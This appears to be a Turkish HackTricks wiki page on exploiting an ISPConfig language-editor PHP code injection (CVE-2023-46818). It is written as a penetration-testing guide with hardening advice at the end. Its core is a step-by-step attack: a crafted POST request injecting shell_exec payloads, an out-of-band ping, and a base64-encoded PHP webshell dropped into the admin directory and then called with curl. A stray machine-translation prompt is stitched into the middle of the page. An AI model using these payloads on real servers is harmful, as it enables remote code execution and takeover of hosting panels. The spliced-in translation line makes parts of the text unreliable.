ISPConfig
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
ISPConfig açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde, bozuk bir çeviri kaydı aracılığıyla rastgele PHP kodu enjekte edilmesine izin veren bir dil dosyası editörü özelliği içeriyordu. Bu, web sunucu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak yetki yükseltme sağlayabilir.
Önemli varsayılan yollar:
- Web root genellikle
/var/www/ispconfig
konumundadır;php -S
ile veya Apache/nginx üzerinden servis edildiğinde. - Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlıdır; gerekirse SSH port-forward kullanın).
İpucu: Eğer panel yerel olarak bağlıysa (ör. 127.0.0.1:8080
), yönlendirin:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Etkilenen: ISPConfig 3.2.11'e kadar (3.2.11p1'de düzeltildi)
- Önkoşullar:
- Yerleşik superadmin hesabı
admin
olarak giriş yapın (sağlayıcıya göre diğer roller etkilenmez) - Language editor etkin olmalıdır:
/usr/local/ispconfig/security/security_settings.ini
içindeadmin_allow_langedit=yes
- Etki: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan rastgele PHP enjekte edebilir; böylece web bağlamında RCE elde edilir
Referanslar: NVD girişi CVE-2023-46818 ve sağlayıcı uyarı bağlantısı aşağıdaki Referanslar bölümünde.
Manuel istismar akışı
- CSRF alanlarını elde etmek için bir dil dosyası açın/oluşturun
Formu başlatmak için ilk POST'u gönderin ve HTML yanıttan CSRF alanlarını (csrf_id
, csrf_key
) ayrıştırın. Örnek istek yolu: /admin/language_edit.php
.
- Inject PHP via records[] and save
CSRF alanlarını ve kötü amaçlı bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (ICMP'yi gözlemleyin):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Dosyalar oluşturun ve bir webshell bırakın
Web üzerinden erişilebilen bir yolun (örn. admin/
) altına dosya oluşturmak için file_put_contents
kullanın:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Sonra POST gövdesindeki kötü karakterlerden kaçınmak için base64 kullanarak basit bir webshell yazın:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Çevirmemi istediğiniz dosya içeriğini buraya yapıştırın. Kod blokları, bağlantılar, path'ler ve belirtilen tag'ları (ör. {#tabs}, {#ref}, linkler) olduğu gibi bırakacağım; geri kalan İngilizce metni Türkçeye çevireceğim.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Eğer PHP root olarak çalıştırılıyorsa (ör. root tarafından başlatılan php -S 127.0.0.1:8080
ile), bu doğrudan root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod çalıştırma elde edersiniz.
Python PoC
Kullanıma hazır bir exploit token yönetimini ve payload teslimatını otomatikleştirir:
Örnek çalışma:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Sertleştirme
- 3.2.11p1 veya daha sonraki bir sürüme yükseltin
- Dil düzenleyicisini yalnızca kesinlikle gerekli olmadıkça devre dışı bırakın:
admin_allow_langedit=no
- Paneli root olarak çalıştırmaktan kaçının; PHP-FPM veya web sunucusunu ayrıcalıkları düşürecek şekilde yapılandırın
- Yerleşik
admin
hesabı için güçlü kimlik doğrulamayı zorunlu kılın
Referanslar
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.